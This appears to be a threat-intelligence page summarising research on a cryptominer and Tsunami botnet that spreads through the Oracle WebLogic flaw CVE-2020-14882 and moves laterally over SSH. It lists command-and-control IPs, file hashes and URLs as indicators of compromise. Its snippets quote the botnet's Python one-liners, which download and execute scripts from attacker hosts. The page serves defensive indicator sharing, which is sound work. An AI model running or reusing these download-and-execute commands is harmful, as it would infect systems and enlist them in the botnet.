Malwarehigh
Multi-Vector Miner+Tsunami Botnet with SSH Lateral Movement
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2020-14882 | Remote Code Execution in Oracle WebLogic Server | 9.8 | 100% | KEVPoC ×3 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| ipv4 | 104.244.75.25 | o packed with UPX. They connect to the following C2 server: 104.244.75.25:443 x32b SHA256: 9b8280f5ce25f1db676db6e79c60c07e61996b2b68 |
| ipv4 | 134.122.17.13 | processes connected to these services: 23.94.24.12:8080 and 134.122.17.13:8080. These actions may kill previously running software an |
| ipv4 | 205.185.116.78 | owing: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://205.185.116.78/d.py”).read())’ Stage 2 A) – xms shell script xms shell scr |
| ipv4 | 209.141.35.17 | ct to the following mining proxy servers: 66.70.218.40:8080 209.141.35.17:8080 Stage 3) B) Tsunami The Tsunami binaries are compiled |
| ipv4 | 23.94.24.12 | nd 13531. Also kills processes connected to these services: 23.94.24.12:8080 and 134.122.17.13:8080. These actions may kill previou |
| ipv4 | 66.70.218.40 | ELF binaries connect to the following mining proxy servers: 66.70.218.40:8080 209.141.35.17:8080 Stage 3) B) Tsunami The Tsunami bin |
| sha256 | 35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb | c84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3 i686 SHA256: 35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb go SHA256: 6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2d6 |
| sha256 | 6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2d680c78e9aa03f8f9d | 4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb go SHA256: 6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2d680c78e9aa03f8f9d The Miner ELF binaries connect to the following mining prox |
| sha256 | 72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5 | ())’ Stage 2 A) – xms shell script xms shell script SHA256: 72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5 Actions performed : Configures shell path Switches SELinux |
| sha256 | 855557e415b485cedb9dc2c6f96d524143108aff2f84497528a8fcddf2dc86a2 | 6db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872 x64b SHA256: 855557e415b485cedb9dc2c6f96d524143108aff2f84497528a8fcddf2dc86a2 Unused Exploitation Functions in Stage 2) ‘xms’ shell-scrip |
| sha256 | 9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872 | to the following C2 server: 104.244.75.25:443 x32b SHA256: 9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872 x64b SHA256: 855557e415b485cedb9dc2c6f96d524143108aff2f8449 |
| sha256 | af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439 | s Stage 1 – WebLogic exploit CVE-2020-14882 poc.xml SHA256: af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439 The stage 1 executes two payloads, a shell script, xms, and |
| sha256 | fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3 | binaries are packed with default UPX packer. x86_64 SHA256: fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3 i686 SHA256: 35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f |
| url | http://205.185.116.78/b.py” | ot available: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://205.185.116.78/b.py”).read())’ b) maintains persistence using cron The dd.py pyt |
| url | http://205.185.116.78/d.py” | he following: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://205.185.116.78/d.py”).read())’ Stage 2 A) – xms shell script xms shell script SH |
| url | http://bash.givemexyz.in/dd.py” | he following: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://bash.givemexyz.in/dd.py”).read())’ If bash.givemexyz.in is not reachable it executes |
From the original article
5 min read at securityaffairs.com
Security researcher Tolijan Trajanovski ( @tolisec ) analyzed the multi-vector Miner+Tsunami Botnet that implements SSH lateral movement. A fellow security researcher, 0xrb , shared with me samples of a botnet that propagates using weblogic exploit . The botnet was also discovered by @ BadPackets 5 days ago and it is still active as of now, December 1, 2020.
By @securityaffairs · securityaffairs.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.